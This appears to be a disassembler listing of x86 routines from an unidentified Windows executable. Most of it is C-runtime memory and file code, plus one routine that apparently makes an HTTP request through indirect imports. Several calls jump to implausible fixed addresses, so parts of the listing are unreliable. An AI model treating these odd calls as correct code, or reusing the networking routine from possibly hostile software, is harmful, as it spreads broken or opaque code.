		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF7	proc near		; CODE XREF: sub_401ACD+279Dp
					; sub_401ACD+72F6p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB73C, 0
		jnz	short loc_41AD63
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB518
		test	eax, eax
		jnz	short loc_41AD4C
		lea	eax, [ebp+var_8C]
		push	offset dword_43A87C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4C:				; CODE XREF: sub_41ACF7+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD59
		push	offset dword_43A874
		jmp	short loc_41AD5E
; ---------------------------------------------------------------------------


loc_41AD59:				; CODE XREF: sub_41ACF7+59j
		push	offset off_43A870


loc_41AD5E:				; CODE XREF: sub_41ACF7+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7B
; ---------------------------------------------------------------------------


loc_41AD63:				; CODE XREF: sub_41ACF7+28j
		mov	esi, offset off_43A86C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7B:				; CODE XREF: sub_41ACF7+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A828
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB6	proc near		; DATA XREF: sub_401ACD+7715o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A95C
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB550
		test	eax, eax
		jz	loc_41AF50
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8D
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8D:				; CODE XREF: sub_41ADB6+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAB
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAB:				; CODE XREF: sub_41ADB6+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC5
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC5:				; CODE XREF: sub_41ADB6+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDF
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDF:				; CODE XREF: sub_41ADB6+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB628
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF68
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB61C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB5C8
		test	eax, eax
		jz	short loc_41AF49
		push	offset dword_43A940
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF49:				; CODE XREF: sub_41ADB6+18Aj
		push	offset unk_43A904
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: sub_41ADB6+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A8E8
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF82
; ---------------------------------------------------------------------------


loc_41AF68:				; CODE XREF: sub_41ADB6+153j
		push	offset unk_43A8BC
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF6F:				; CODE XREF: sub_41ADB6+17Bj
		push	offset unk_43A88C


loc_41AF74:				; CODE XREF: sub_41ADB6+191j
					; sub_41ADB6+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF82:				; CODE XREF: sub_41ADB6+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAD
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A73
		add	esp, 14h


loc_41AFAD:				; CODE XREF: sub_41ADB6+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	esi
		call	dword_4CB688
		push	[ebp+var_4]
		call	dword_4CB688
		push	[ebp+var_1D8]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
sub_41ADB6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DBp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB32+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2780000h


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F08Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DCFE0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2790000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2830000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C9D4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DCFE4
		call	near ptr 2790000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2830000h
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB9DC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB32+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB9DC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFE8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DCFE0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C9D4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2790000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



